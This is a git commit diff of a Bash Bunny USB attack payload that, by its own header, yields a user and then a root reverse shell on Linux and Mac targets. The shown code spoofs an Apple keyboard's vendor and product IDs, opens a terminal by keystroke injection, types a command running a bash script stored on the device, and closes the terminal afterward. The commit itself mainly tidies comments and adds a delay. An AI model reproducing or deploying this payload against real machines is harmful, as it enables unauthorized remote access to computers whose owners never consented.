Added delay for device recognition
parent
94c3342302
commit
19b4ff63f0
|
@ -2,46 +2,46 @@
|
||||||
# Author: Darkprince (Sridhar)
|
# Author: Darkprince (Sridhar)
|
||||||
# Version: 1.0
|
# Version: 1.0
|
||||||
#
|
#
|
||||||
# Runs a script in the background that gives a user shell initially and waits for user to
|
# Runs a script in the background that provides a user shell initially and waits for the user to escalate privileges, then provides a root reverse shell.
|
||||||
# escalate privileges and give a root reverse shell
|
|
||||||
#
|
|
||||||
# Magenta..................Setup
|
|
||||||
# Red,Green,Blue......Executing
|
|
||||||
# Green....................Finished
|
|
||||||
|
|
||||||
|
# Magenta..................Setup
|
||||||
|
# Red, Green, Blue.........Executing
|
||||||
|
# Green....................Finished
|
||||||
|
|
||||||
# INITIALIZING
|
# INITIALIZING
|
||||||
LED W
|
LED W
|
||||||
|
|
||||||
# Mac keyboard works in linux and mac
|
# Mac keyboard works in Linux and Mac
|
||||||
ATTACKMODE STORAGE HID VID_0X05AC PID_0X021E
|
ATTACKMODE STORAGE HID VID_0X05AC PID_0X021E
|
||||||
|
|
||||||
LANGUAGE='us'
|
LANGUAGE='us'
|
||||||
|
|
||||||
# Make sure the switch position is 1
|
# Ensure the switch position is 1
|
||||||
|
# Delay for HID device recognition
|
||||||
|
Q DELAY 1000
|
||||||
|
|
||||||
# ATTACKING
|
# ATTACKING
|
||||||
LED R G B
|
LED R G B
|
||||||
|
|
||||||
# Get linux,mac Termial
|
# Get Linux/Mac Terminal
|
||||||
RUN UNITY xterm
|
RUN UNITY xterm
|
||||||
Q DELAY 1000
|
Q DELAY 1000
|
||||||
# To close opened window by linux run command
|
# To close the opened window by the Linux run command
|
||||||
Q GUI Q
|
Q GUI Q
|
||||||
Q CTRL C
|
Q CTRL C
|
||||||
RUN OSX terminal
|
RUN OSX terminal
|
||||||
Q DELAY 1000
|
Q DELAY 1000
|
||||||
|
|
||||||
# If linux then clearing 'terminal' which is typed by mac run script
|
# If Linux, then clearing 'terminal' which is typed by Mac run script
|
||||||
Q CTRL C
|
Q CTRL C
|
||||||
|
|
||||||
# Executing bash script which is same for mac and linux
|
# Execute bash script which is the same for Mac and Linux
|
||||||
GET SWITCH_POSITION
|
GET SWITCH_POSITION
|
||||||
Q STRING bash /Volumes/BashBunny/payloads/$SWITCH_POSITION/payload.sh
|
Q STRING bash /Volumes/BashBunny/payloads/$SWITCH_POSITION/payload.sh
|
||||||
|
|
||||||
# The cleanup process will done by bash script
|
# The cleanup process will be handled by the bash script
|
||||||
# Closing the xterm in linux
|
# Closing the xterm in Linux
|
||||||
# Closing the terminal in mac even if terminal has other process COMMAND Q and ENTER key will terminates terminal
|
# Closing the terminal in Mac, even if the terminal has other processes COMMAND Q and ENTER keys will terminate the terminal
|
||||||
Q GUI Q
|
Q GUI Q
|
||||||
Q CTRL C
|
Q CTRL C
|
||||||
Q STRING exit
|
Q STRING exit
|
||||||
|
|
Loading…
Reference in New Issue